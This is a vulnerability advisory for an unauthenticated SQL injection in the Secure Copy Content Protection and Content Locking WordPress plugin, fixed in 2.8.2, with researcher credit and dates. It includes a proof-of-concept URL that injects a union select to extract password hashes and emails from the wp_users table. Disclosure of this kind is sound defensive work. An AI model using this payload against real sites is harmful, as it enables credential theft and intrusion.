WordPress Plugin Vulnerabilities
Secure Copy Content Protection and Content Locking < 2.8.2 - Unauthenticated SQL Injection
Description
The plugin does not escape the sccp_id parameter of the ays_sccp_results_export_file AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an SQL injection.
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20union%20select%201,user_pass,user_email,2,2,2%20from%20wp_users%20union%20select%201,1,1,1,1,1%20FROM%20wp_ays_sccp_reports%20WHERE%20(1=1%20&type=json
Affects Plugins
Fixed in version 2.8.2
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-11-08 (about 10 months ago)
Added
2021-11-08 (about 10 months ago)
Last Updated
2022-04-12 (about 5 months ago)